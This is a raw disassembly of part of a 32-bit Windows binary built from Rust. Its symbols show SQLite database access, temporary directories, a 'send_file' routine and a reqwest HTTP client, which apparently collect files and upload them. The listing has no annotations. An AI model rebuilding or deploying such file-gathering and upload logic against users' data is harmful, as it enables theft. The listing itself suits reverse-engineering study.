mov dword [esp + 0x16c], eax
lea esi, [esp + 0x118]
lea edi, [esp + 0x160]
mov ecx, esi
mov edx, edi
call sym.alloc::fmt::format::h28429d8526483b61
lea ecx, [esp + 0x2dc]
mov edx, esi
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::h8b4e996c6cb39887
mov ecx, dword [esp + 0x108]
mov edx, dword [esp + 0x10c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0x18]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xf8]
mov edx, dword [esp + 0xfc]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x140]
mov edx, dword [esp + 0x144]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x1e0]
mov edx, dword [esp + 0x1e4]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
jmp 0x1000f0ad
mov ecx, edi
call sym.__ZN4core3ptr93drop_in_place_LT_core..result..Result_LT_sqlite..statement..Statement_C_sqlite..Error_GT__GT_17h95da7cc6d8a11cb
lea ecx, [esp + 0x2f0]
call sym.core::ptr::drop_in_place_LT_sqlite..connection..Connection_GT_::h78044568af6a192b
mov ecx, esi
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT_u64_C_std..io..error..Error_GT__GT_::hf9d97e6e74177711
cmp dword [esp + 0x44], 0
je 0x1000f45b
mov ecx, dword [esp + 0x5c4]
mov edx, dword [esp + 0x7c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea ecx, [esp + 0x60]
call sym.core::ptr::drop_in_place_LT_tempdir..TempDir_GT_::hef93d5e206b085b6
mov dword [esp + 0x10], 0
push 4
pop esi
xor ebx, ebx
jmp 0x1000f4f0
movsd xmm0, qword [esp + 0x60]
movsd xmm1, qword [esp + 0x68]
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
mov ecx, edi
mov edx, esi
call sym.tempdir::TempDir::close::h092734575a283462
mov ecx, edi
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT__LP__RP__C_std..io..error..Error_GT__GT_::h5e2d578985658e2a
mov eax, dword [esp + 0x2dc]
mov esi, dword [esp + 0x2e0]
mov ebx, dword [esp + 0x2e4]
mov dword [esp + 0x10], eax
push dword [esp + 0xc]
call sym._sqlite3_finalize
pop ecx
lea ecx, [esp + 0x2f0]
call sym.core::ptr::drop_in_place_LT_sqlite..connection..Connection_GT_::h78044568af6a192b
lea ecx, [esp + 0x48]
call sym.core::ptr::drop_in_place_LT_core..result..Result_LT_u64_C_std..io..error..Error_GT__GT_::hf9d97e6e74177711
cmp dword [esp + 0x44], 0
je 0x1000f4f0
mov ecx, dword [esp + 0x5c4]
mov edx, dword [esp + 0x7c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea edi, [esp + 0x160]
mov ecx, dword [esp + 0x3c]
mov edx, dword [esp + 0x30]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xe0]
mov edx, dword [esp + 0x34]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x10]
imul ebx, ebx, 0xc
mov dword [esp + 0x160], esi
lea eax, [esi + ebx]
mov dword [esp + 0x14], eax
mov dword [esp + 0x168], ecx
lea ecx, [esi + 0xc]
mov dword [esp + 0x16c], eax
test ebx, ebx
je 0x1000f62c
mov eax, dword [esi]
cmp eax, 0x80000000
je 0x1000f632
mov dword [esp + 0xc], ecx
mov ecx, dword [esi + 4]
mov edx, dword [esi + 8]
mov dword [esp + 0x118], eax
lea eax, [esi + 0xc]
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x10167174
mov dword [esp + 0x324], 2
and dword [esp + 0x330], 0
mov dword [esp + 0x10], eax
lea eax, [esp + 0x118]
mov dword [esp + 0x48], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x4c], sym.__LT_alloc..string..String_u20_as_u20_core..fmt..Display_GT_::fmt::hdff27194fd61d0e6
mov dword [esp + 0x328], eax
mov dword [esp + 0x32c], 1
mov dword [esp + 0x120], edx
mov dword [esp + 0x11c], ecx
lea ecx, [esp + 0x90]
lea edx, [esp + 0x320]
call sym.alloc::fmt::format::h28429d8526483b61
mov esi, dword [esp + 0x90]
mov edi, dword [esp + 0x94]
mov eax, dword [esp + 0x98]
add eax, edi
lea ecx, [esp + 0x2fc]
mov edx, edi
push eax
call fcn.100e4dc4
pop eax
mov edx, edi
mov ecx, esi
lea edi, [esp + 0x160]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0x118]
mov edx, dword [esp + 0x11c]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov ecx, dword [esp + 0xc]
mov esi, dword [esp + 0x10]
add ebx, 0xfffffff4
add ecx, 0xc
jmp 0x1000f53a
mov eax, dword [esp + 0x14]
jmp 0x1000f634
mov eax, ecx
mov dword [esp + 0x164], eax
mov ecx, edi
call sym.core::ptr::drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT_alloc..string..String_GT__GT_::he058c52794abbfbe
mov esi, dword [esp + 0x300]
lea edi, [esp + 0x320]
mov edx, esi
mov ecx, edi
push dword [esp + 0x304]
call dbg.clone
pop eax
lea ecx, [esp + 0x548]
mov edx, edi
call sym.alloc::vec::Vec_LT_T_C_A_GT_::push::h8b4e996c6cb39887
mov ecx, dword [esp + 0x2fc]
mov edx, esi
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, dword [esp + 0x28]
lea esi, [esp + 0x1f0]
lea ebx, [esp + 0x118]
jmp 0x1000e972
mov dword [esp + 0x14], 0
mov ecx, dword [esp + 0xc]
mov al, byte [ecx + 9]
lea eax, [ecx + 0xc]
push edi
push eax
lea eax, [esp + 0x328]
push eax
call dbg.write_fmt<alloc::vec::Vec<u8, alloc::alloc::Global>>
add esp, 0xc
cmp byte [esp + 0x320], 3
jne 0x1000f6fb
mov eax, dword [esp + 0x324]
mov esi, dword [eax + 4]
mov edi, dword [eax]
mov dword [esp + 0x18], eax
mov eax, dword [esi]
push edi
call eax
pop eax
cmp dword [esi + 4], 0
je 0x1000f6e8
mov edx, dword [esi + 8]
mov ecx, edi
call sym.___rust_dealloc
mov ecx, dword [esp + 0x18]
push 4
pop edx
call sym.___rust_dealloc
lea esi, [esp + 0x1f0]
cmp byte [esp + 0x14], 0
je 0x1000f742
mov ecx, dword [esp + 0x10]
xor eax, eax
xchg byte [ecx], al
cmp al, 2
jne 0x1000f715
push ecx
call dword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov ecx, dword [ebx]
mov eax, dword [esp + 0xc]
test ecx, ecx
mov dword [ebx], eax
je 0x1000f761
lock dec dword [ecx]
lea edi, [esp + 0x320]
lea ebx, [esp + 0x118]
jne 0x1000ecc8
call dbg.drop_slow<std::sync::mutex::Mutex<alloc::vec::Vec<u8, alloc::alloc::Global>>, alloc::alloc::Global>
jmp 0x1000ecc8
mov eax, dword [0x10226110]
test eax, 0x7fffffff
je 0x1000f702
call dbg.is_zero_slow_path
test al, al
jne 0x1000f702
mov eax, dword [esp + 0xc]
mov byte [eax + 9], 1
jmp 0x1000f702
lea edi, [esp + 0x320]
lea ebx, [esp + 0x118]
jmp 0x1000ecc8
mov ecx, 0x101631d4
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h79f830d24f8bdf80
jmp 0x1000eb08
mov ecx, 0x101631d4
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h79f830d24f8bdf80
jmp 0x1000eb30
lea eax, [0x10226078]
lea ebx, [esp + 0x564]
mov dword [esp + 0x90], edi
mov dword [esp + 0x320], eax
mov dword [esp + 0x324], ebx
xor edx, edx
mov ecx, 0x10226074
inc edx
push 0x101be0f8
push 0x101be0e4
push esi
call dbg.call
add esp, 0xc
jmp 0x1000eafa
lea ecx, [0x10226080]
call dbg.lock_contended
jmp 0x1000ebaf
mov ecx, 0x101631d4
call sym.std::sys::pal::windows::thread_local_key::StaticKey::init::h79f830d24f8bdf80
jmp 0x1000eb77
mov ecx, dword [esp + 0x10]
call dbg.lock_contended
jmp 0x1000eaad
lea ecx, [esp + 0x80]
call sym.__ZN4core3ptr107drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT__LP_std..path..PathBuf_C_std..path..PathBuf_RP__GT__GT_17h
mov eax, dword [esp + 0x54c]
mov ecx, dword [esp + 0x548]
imul esi, dword [esp + 0x550], 0xc
mov dword [esp + 0x160], eax
mov dword [esp + 0x168], ecx
mov ecx, dword [ebp + 8]
add esi, eax
mov dword [esp + 0x16c], esi
mov dword [esp + 0x30], esi
mov edx, dword [ecx + 4]
mov ecx, dword [ecx + 8]
mov dword [esp + 0x14], edx
mov dword [esp + 0x18], ecx
cmp eax, esi
je 0x1000f980
mov edx, dword [eax]
lea ecx, [eax + 0xc]
cmp edx, 0x80000000
je 0x1000f97e
mov dword [esp + 0x1c], edx
mov edx, dword [eax + 4]
mov eax, dword [eax + 8]
mov dword [esp + 0x20], ecx
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], eax
push 7
pop ebx
sub ebx, 1
jb 0x1000f964
mov dword [esp + str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g], 0x10167f94
mov dword [esp + 0x324], 3
and dword [esp + 0x330], 0
lea eax, [esp + 0x31c]
lea esi, [esp + 0x1f0]
mov dword [esp + 0x1f0], eax
lea eax, [esp + 0x544]
mov dword [esp + 0x1f4], sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h47856111cb2a05ae
mov dword [esp + 0x328], esi
mov dword [esp + 0x32c], 2
mov dword [esp + 0x1f8], eax
mov dword [esp + 0x1fc], sym.core::fmt::num::imp::__LT_impl_u20_core..fmt..Display_u20_for_u20_i32_GT_::fmt::hd5981698a124ca9f
lea edi, [esp + 0x320]
lea ecx, [esp + 0x630]
mov edx, edi
call sym.alloc::fmt::format::h28429d8526483b61
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x324]
push dword [esp + 0x10]
call dbg.clone
pop eax
and dword [esp + 0x320], 0
mov edx, dword [esp + 0x14]
mov ecx, esi
push dword [esp + 0x18]
call dbg.clone
pop eax
mov ecx, dword [esp + 0x314]
mov edx, dword [esp + 0x318]
push esi
push edi
lea eax, [esp + 0x638]
push eax
call sym.super::send_file::h0565cceb41ca16d1
add esp, 0xc
test al, al
je 0x1000f881
inc dword [esp + 0x544]
mov ecx, dword [esp + 0x1c]
mov edx, dword [esp + 0xc]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, dword [esp + 0x20]
mov esi, dword [esp + 0x30]
jmp 0x1000f84f
mov esi, ecx
lea ecx, [esp + 0x160]
mov dword [ecx + 4], esi
call sym.core::ptr::drop_in_place_LT_alloc..vec..into_iter..IntoIter_LT_alloc..string..String_GT__GT_::he058c52794abbfbe
mov ecx, dword [esp + 0x5dc]
mov edx, dword [esp + 0x5e0]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
mov edx, dword [esp + 0x14]
call sym.core::ptr::drop_in_place_LT_alloc..string..String_GT_::hf4d2ac98b8d711c2
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
mov ecx, dword [esp + 0x14]
mov edx, ecx
push 0x101bb190
call dbg.panic_bounds_check
mov edx, dword [esp + 0x18]
push 0x101bb1a0
call dbg.panic_bounds_check
mov ecx, edi
push 0x1018f580
call dbg.panic_bounds_check
push 0x1018f590
call dbg.panic_bounds_check
push 0x1018f5a0
call dbg.panic_bounds_check
call sym.windows_core::error::Error::from_win32::h0f0794930b857c28
mov ecx, eax
call sym.anyhow::error::__LT_impl_u20_core..convert..From_LT_E_GT__u20_for_u20_anyhow..Error_GT_::from::heefa26f55c923ba2
mov ebx, eax
lea esi, [esp + 0x320]
mov dword [esp + 0x320], ebx
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x101681f0
push 0x10166898
push esi
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
push 0x13
pop edx
mov ecx, edi
push 0x1018f4c4
call dbg.panic_bounds_check
call sym.windows_core::error::Error::from_win32::h0f0794930b857c28
mov ecx, eax
call sym.anyhow::error::__LT_impl_u20_core..convert..From_LT_E_GT__u20_for_u20_anyhow..Error_GT_::from::heefa26f55c923ba2
mov ecx, dword [esp + 0x90]
mov esi, eax
mov edx, dword [esp + 0x10]
call sym.__LT_alloc..raw_vec..RawVec_LT_T_C_A_GT__u20_as_u20_core..ops..drop..Drop_GT_::drop::h6130f8f10e298365
mov ebx, esi
mov esi, 0x80000000
jmp 0x1000d74f
push 0x35
pop edx
mov ecx, str.attempt_to_join_into_collection_with_len___usize::MAX_rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6library_alloc_src_str.rs
push 0x101bfb64
call dbg.expect_failed
lea ecx, [esp + 0x1f0]
mov dword [ecx], str.mid___len
mov dword [ecx + 4], 1
and dword [ecx + 0x10], 0
mov dword [ecx + 8], str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g
and dword [ecx + 0xc], 0
mov edx, 0x101bfb54
call dbg.panic_fmt
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167c98
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167d88
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167ca8
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167cc8
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167cb8
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167d98
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167dc8
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167db8
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167da8
push 0x101668b8
lea eax, [esp + 0x328]
push eax
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
push 0x29
pop edx
mov ecx, str.Must_not_use_a_decoder_that_has_finished.
push 0x1018f5e0
call dbg.panic
mov ecx, edx
xor edx, edx
push 0x101e6654
call dbg.slice_end_index_len_fail
push 0x23
pop edx
mov ecx, str._async_fn__resumed_after_completion_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.12_src_header_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twice_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_stream_into_future.rs
push 0x101b9bc8
call dbg.panic
push 0x23
pop edx
mov ecx, str._async_fn__resumed_after_completion_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.12_src_header_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twice_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_stream_into_future.rs
push 0x101b9bd8
call dbg.panic
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167c88
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167bd8
jmp 0x1000fcfe
movsd xmm0, qword [esp + 0x324]
lea eax, [esp + 0x1f0]
movsd qword [eax], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167bc4
jmp 0x1000fe43
movsd xmm0, qword [esp + 0x324]
lea eax, [esp + 0x1f0]
movsd qword [eax], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167ce4
jmp 0x1000fe43
movsd xmm0, qword [esp + 0x324]
lea eax, [esp + 0x1f0]
movsd qword [eax], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167cf8
push 0x10166908
jmp 0x1000fd0a
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167d08
jmp 0x1000fcfe
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167d78
jmp 0x1000fcfe
mov eax, dword [esp + 0x170]
movsd xmm0, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167eb4
jmp 0x1000ff9c
mov eax, dword [esp + 0x170]
movsd xmm0, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167ef4
jmp 0x1000fcfe
mov eax, dword [esp + 0x170]
movsd xmm0, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167ec4
push 0x101668b8
jmp 0x1000fa24
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167f10
push 0x101668f8
lea eax, [esp + 0x56c]
jmp 0x1000fd0a
mov eax, dword [esp + 0x170]
movsd xmm0, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167ed4
jmp 0x1000fcfe
mov eax, dword [esp + 0x170]
movsd xmm0, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167ee4
jmp 0x1000fcfe
push 0x13
pop edx
mov ecx, edi
push 0x1018f4a4
call dbg.slice_end_index_len_fail
push 0x23
pop edx
mov ecx, str._async_fn__resumed_after_completion_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_http_0.2.12_src_header_value.rsunable_to_find_any_user_specified_roots_in_the_final_cert_chainbytes_remaining_on_streamOut_of_bounds_accesspolling_StreamFuture_twice_home_lanbyshell_.cargo_registry_src_index.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_stream_into_future.rs
push 0x101b717c
call dbg.panic
mov ecx, 0x1018f4d4
call dbg.unwrap_failed
jmp 0x1000fd22
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x1016722c
push 0x101668c8
push edi
call sym.core::result::unwrap_failed::hb9c5ac622931d85d
mov eax, dword [esp + 0x1f8]
mov dword [esp + 0x320], eax
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167264
jmp 0x10010144
mov eax, dword [esp + 0x200]
movsd xmm0, qword [esp + 0x1f0]
movsd xmm1, qword [esp + 0x1f8]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167254
push 0x101668c8
jmp 0x1000fd03
mov eax, dword [esp + 0x14]
mov dword [esp + 0x320], eax
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167274
push 0x10166888
jmp 0x1000fd03
mov ecx, 0x1016729c
call dbg.unwrap_failed
mov ecx, 0x101672cc
call dbg.unwrap_failed
mov ecx, 0x101672f0
call dbg.unwrap_failed
mov eax, dword [esp + 0x324]
lea esi, [esp + 0x1f0]
mov dword [esi], eax
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167284
push 0x101668e8
jmp 0x1000fa24
mov ecx, 0x101672b8
call dbg.unwrap_failed
mov ecx, 0x101672e0
call dbg.unwrap_failed
mov ecx, 0x1018f4e4
call dbg.unwrap_failed
lea ecx, [esp + 0x160]
mov dword [ecx], 0x101bad0c
mov dword [ecx + 4], 1
and dword [ecx + 0x10], 0
mov dword [ecx + 8], str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g
and dword [ecx + 0xc], 0
mov edx, 0x101bb1c0
call dbg.panic_fmt
lea ecx, [esp + 0x160]
mov dword [ecx], 0x101bad0c
mov dword [ecx + 4], 1
and dword [ecx + 0x10], 0
mov dword [ecx + 8], str._rustc_9b00956e56009bab2aa15d7bff10916599e3d6d6librarycore_srccharmethods.rs_g
and dword [ecx + 0xc], 0
mov edx, 0x101bad74
call dbg.panic_fmt
mov eax, dword [esp + 0x2c]
lea ecx, [esp + 0x320]
mov dword [ecx], str.failed_printing_to
mov dword [esp + 0x48], eax
mov eax, dword [esp + 0x40]
mov dword [esp + 0x4c], eax
lea eax, [esp + 0x60]
mov dword [esp + 0x90], eax
lea eax, [esp + 0x48]
mov dword [esp + 0x94], sym.__LT__RF_T_u20_as_u20_core..fmt..Display_GT_::fmt::h9f6f98013453b91f
mov dword [esp + 0x98], eax
mov dword [esp + 0x9c], sym.__LT_std..io..error..Error_u20_as_u20_core..fmt..Display_GT_::fmt::h6d18a9ded336adc0
push 2
pop eax
mov dword [ecx + 4], eax
and dword [ecx + 0x10], 0
lea edx, [esp + 0x90]
mov dword [ecx + 8], edx
mov dword [ecx + 0xc], eax
mov edx, 0x101bde30
call dbg.panic_fmt
ud2
movsd xmm0, qword [esp + 0x324]
movsd qword [esp + 0x160], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167de4
jmp 0x10010329
push 4
pop ecx
mov edx, esi
call dbg.handle_alloc_error
call sym.alloc::raw_vec::capacity_overflow::h5648a8ceafa88914
mov ecx, 0x1018f504
call dbg.unwrap_failed
push 0x26
pop edx
mov ecx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sync_reentrant_lock.rsR
push 0x101be178
call dbg.expect_failed
mov eax, dword [esp + 0x170]
movsd xmm0, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167e48
jmp 0x1000fcfe
movsd xmm0, qword [esp + 0x324]
movsd qword [esp + 0x160], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167e20
push 0x10166908
lea eax, [esp + 0x168]
jmp 0x1000fd0a
push 4
pop ecx
push 8
pop edx
call dbg.handle_alloc_error
push 0x46
pop edx
mov ecx, 0x101c04a8
push 0x101bddfc
push 0x101bd2c0
jmp 0x1000ffb8
mov eax, dword [esp + 0x170]
movsd xmm0, qword [esp + 0x160]
movsd xmm1, qword [esp + 0x168]
mov dword [esp + 0x330], eax
movsd qword [esp + 0x328], xmm1
movsd qword [esp + 0x320], xmm0
push 0x2b
pop edx
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x10167e0c
jmp 0x1000fcfe
mov ebx, dword [esp + 0x15c]
jmp 0x1000fa04
call sym.alloc::raw_vec::capacity_overflow::h5648a8ceafa88914
jmp 0x1001029b
mov ecx, edx
mov edx, dword [esp + 0xc]
push 0x101b2580
jmp 0x100103e4
mov eax, edx
mov edx, dword [esp + 0x14]
push 0x101b25dc
push eax
push 0
call dbg.slice_error_fail
cmp dword [esi + 4], 0
mov dword [esp + 0x20], eax
je 0x10010400
mov edx, dword [esi + 8]
mov ecx, edi
call sym.___rust_dealloc
push 4
pop edx
mov ecx, dword [esp + 0x18]
call sym.___rust_dealloc
jmp 0x10010438
movzx edx, byte [esp + 0x14]
mov ecx, dword [esp + 0x10]
call dbg.drop_in_place<std::io::stdio::StdinLock>
mov eax, dword [esp + 0xc]
lock dec dword [eax]
jne 0x100104a6
mov ecx, dword [esp + 0xc]
call dbg.drop_slow<std::sync::mutex::Mutex<alloc::vec::Vec<u8, alloc::alloc::Global>>, alloc::alloc::Global>
jmp 0x100104a6
push dword [esp + 0x20]
call sym.__Unwind_Resume
call dbg.panic_in_cleanup
frstor dword [eax]
add byte [eax], al
dec ecx
jae 0x100104bb
add byte [ebx + 0x75], ah
add byte [eax], al
cld
adc al, 0
add byte [eax + 0x19], bh
add byte [eax], al
insb byte es:[edi], dx
sbb dword [eax], eax
add byte [eax], cl
sub byte [eax], al
add byte [esi - 0x35ffffd8], cl
sub byte [eax], al
add byte [edx], cl
sub dword [eax], eax
add byte [edx + 0x29], cl
add byte [eax], al
jnp 0x1001050b
add byte [eax], al
adc byte [edx], ch
add byte [eax], al
invalid
lea ecx, [esp + 0xc]
push eax
call dbg.from_utf8_lossy
pop eax
lea esi, [esp + 0x200]
mov ecx, esi
call sym.reqwest::blocking::client::ClientBuilder::new::h1dc698f3cb1623a3
lea edi, [esp + 0x110]
mov edx, esi
mov ecx, edi
call sym.reqwest::blocking::client::ClientBuilder::build::h3ae907c8d94ac45d
cmp dword [edi + 8], 0x3b9aca01
